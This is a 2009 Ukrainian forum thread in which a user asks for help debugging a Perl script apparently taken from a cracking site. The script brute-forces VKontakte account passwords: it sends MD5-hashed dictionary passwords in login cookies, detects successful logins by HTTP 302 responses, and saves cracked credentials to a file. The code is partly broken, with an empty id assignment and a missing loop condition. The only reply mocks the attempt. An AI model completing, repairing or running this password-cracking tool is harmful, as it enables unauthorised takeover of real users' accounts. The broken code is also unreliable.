Автор Гілка: Допоможіть з Perl :(  (Прочитано 2029 раз)

Grandhaker

  • Гість
Допоможіть з Perl :(
« : 2009-09-26 00:03:01 »
Ось тут скрипт:
#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

######################################
# C!klodoL
# CrakVK.ru
######################################
$dic = ‘pass.txt’; #словарь паролей
$id = ; #id цели
$mail = ‘’; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
######################################

open (pass, “<$dic”);

Next:
@pass = pass();

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while

(@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>’tcp’,PeerAddr=>’vkontakte.ru’,PeerPort=>80);
print $sock “HEAD http://vkontakte.ru/ HTTP/1.0\r\n”.
“Host: vkontakte.ru\r\n”.
“Accept: */*\r\n”.
“Content-Type: application/x-www-form-urlencoded\r\n”.
“User-Agent: Mozillo\r\n”.
“Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n”.

“Connection: close\r\n\r\n”;
$answ = <$sock>;
close $sock;
print “$pass $answ”;
if ($answ =~ /302/){
open (good, ‘>>good.txt’);
print good “$id:$pass:$md5\n”;
print “$id:$pass:$md5\n”;
close good;
exit;}
}

}

goto Next;

sub pass
{
my (@mas);
while (
){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}
Де помилка?Допоможіть будьласка!
« Змінено: 2009-09-26 00:03:15 від Grandhaker »

Відсутній piktor

  • Видавець
  • *******
  • дописів: 3396
  • Карма: +0/-0
Re: Допоможіть з Perl :(
« Відповідей #1 : 2009-09-26 00:22:03 »
Помилка в тому, що ви за це взялися.
Всим, хто тоне й не знає,
За що вхопитись,
Хто вже з останніх
Вибився сил:
Попереджаю - я не колода,
Попереджаю - я крокодил.